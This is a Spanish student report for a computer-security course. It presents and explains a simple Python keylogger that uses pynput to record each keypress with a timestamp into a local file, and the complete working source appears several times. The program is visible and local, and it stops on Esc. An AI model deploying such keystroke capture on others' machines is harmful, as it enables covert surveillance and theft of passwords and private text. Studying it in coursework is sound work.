



Melanie Alondra Alba Diez

CNO IV - Seguridad Informática

NO PRESIONES

ESC... TODAVÍA

ÍNDICE

- Introducción
- Implementación técnica
- Resultados
- Conclusiones

INTRODUCCIÓN

Un spyware es un tipo de software diseñado para recopilar información de un sistema sin que el usuario necesariamente sea consciente de ello. Entre sus posibles técnicas se encuentra el registro de pulsaciones del teclado (keylogging).

En esta actividad se implementó, con fines académicos y en un entorno controlado, un programa en Python capaz de detectar y registrar eventos del teclado, asociándolos con la fecha y hora en que ocurrieron.

IMPLEMENTACIÓN TÉCNICA

La implementación se realizó utilizando [Python](#) como lenguaje de programación y [Visual Studio Code](#) como entorno de desarrollo. Se instaló la biblioteca [pynput](#) mediante [pip](#), la cual permite trabajar con eventos del teclado.

El programa utiliza un [Listener](#) para detectar las pulsaciones y una función de callback para procesar cada evento. Las teclas detectadas se registran junto con la fecha y hora de ocurrencia mediante la biblioteca [datetime](#).

Finalmente, la información se almacena en un [archivo de texto](#) mediante el modo de apertura [append](#), permitiendo conservar los registros anteriores y agregar nuevos eventos sin sobrescribirlos. La ejecución puede finalizar mediante la tecla Esc.

```
from pynput.keyboard import Key, Listener
from datetime import datetime

def registrar_evento(tecla): # Guarda en archivo de texto
    fecha_hora = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    with open("registro.txt", "a", encoding="utf-8") as archivo:
        archivo.write(f"{fecha_hora} | PRESS | {tecla}\n")

def on_press(key): # Registra tecla presionada
    if key == Key.esc:
        return False

    try:
        tecla = key.char
    except AttributeError:
        tecla = str(key)

    print(f"Tecla presionada: {tecla}")
    registrar_evento(tecla)

with Listener(on_press=on_press) as listener:
    listener.join()
```

LIBRERÍAS IMPORTADAS

```
from pynput.keyboard import Key, Listener  
from datetime import datetime
```

pynput.keyboard

Se utiliza para interactuar con los eventos del teclado. De este módulo se importan Key y Listener, utilizados respectivamente para identificar teclas especiales y escuchar las pulsaciones realizadas.

Key

Permite identificar teclas especiales del teclado, como Esc, Enter o Space. En esta implementación se utiliza para detectar la tecla Esc, que finaliza la ejecución del programa.

Listener

Es el componente encargado de permanecer atento a los eventos del teclado y ejecutar la función on_press cada vez que se detecta una pulsación.

datetime

Permite obtener la fecha y hora actuales del sistema. Se utiliza para asociar temporalmente cada pulsación registrada.

FUNCIÓN REGISTRAR_EVENTO

```
def registrar_evento(tecla): # Guarda en archivo de texto
    fecha_hora = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    with open("registro.txt", "a", encoding="utf-8") as archivo:
        archivo.write(f"{fecha_hora} | PRESS | {tecla}\n")
```

Esta función se encarga de almacenar cada pulsación detectada en el archivo registro.txt.

Primero obtiene la fecha y hora actual mediante `datetime.now()` y las convierte al formato AAAA-MM-DD HH:MM:SS.

Posteriormente abre registro.txt en modo append ("a"), lo que permite agregar nuevos registros al final del archivo sin eliminar los eventos almacenados anteriormente.

Finalmente escribe la fecha y hora, el tipo de evento (PRESS) y la tecla detectada.

→ Si registro.txt no existe, Python lo crea automáticamente. Si ya existe, los nuevos eventos se agregan al final del archivo.

FUNCIÓN ON_PRESS

```
def on_press(key): # Registra tecla presionada
    if key == Key.esc:
        return False

    try:
        tecla = key.char
    except AttributeError:
        tecla = str(key)

    print(f"Tecla presionada: {tecla}")
    registrar_evento(tecla)
```

Esta función se ejecuta cada vez que el listener detecta una tecla presionada.

Primero verifica si la tecla corresponde a Esc. En caso afirmativo, devuelve False, lo que detiene el listener y finaliza la ejecución.

Para las demás teclas, intenta obtener su carácter mediante `key.char`. Si se trata de una tecla especial que no posee un carácter, se utiliza `str(key)` para representarla.

Finalmente, muestra la tecla detectada en la terminal y llama a `registrar_evento()` para almacenarla en el archivo de registro.

LISTENER

```
with Listener(on_press=on_press) as listener:  
    listener.join()
```

Se crea un listener que permanece atento a las pulsaciones del teclado y utiliza `on_press` como función de respuesta ante cada evento.

`listener.join()` mantiene el listener activo hasta que `on_press` devuelve `False` al detectar la tecla Esc.

RESULTADOS

Se obtuvo un programa funcional capaz de detectar pulsaciones del teclado y registrarlas en un archivo local. Cada evento almacenado incluye la fecha y hora de ocurrencia, así como la tecla detectada, permitiendo establecer el orden temporal de los eventos.

Durante las pruebas se comprobó que el archivo registro.txt se genera automáticamente cuando se realiza el primer registro y que los eventos posteriores se agregan al contenido existente sin sobrescribir los registros anteriores.

También se verificó que la ejecución puede finalizar mediante la tecla Esc, conservando los datos registrados en el archivo.

CONCLUSIONES

La actividad permitió comprender de manera práctica el funcionamiento de los eventos de teclado y su implementación mediante Python y la biblioteca pynput. A partir del código base proporcionado, fue posible desarrollar un mecanismo capaz de detectar pulsaciones, asociarlas con una marca temporal y almacenarlas de manera persistente en un archivo local.

Las pruebas realizadas permitieron comprobar que los eventos se registran correctamente, que cada uno conserva la fecha y hora de su ocurrencia y que los registros permanecen disponibles después de finalizar la ejecución. Esto permitió relacionar conceptos como event hooks, callbacks, registro de eventos y persistencia con una aplicación práctica dentro del área de seguridad informática.

Finalmente, la actividad permitió reconocer las implicaciones de las técnicas de captura de entrada y la importancia de estudiarlas dentro de entornos controlados y con fines académicos.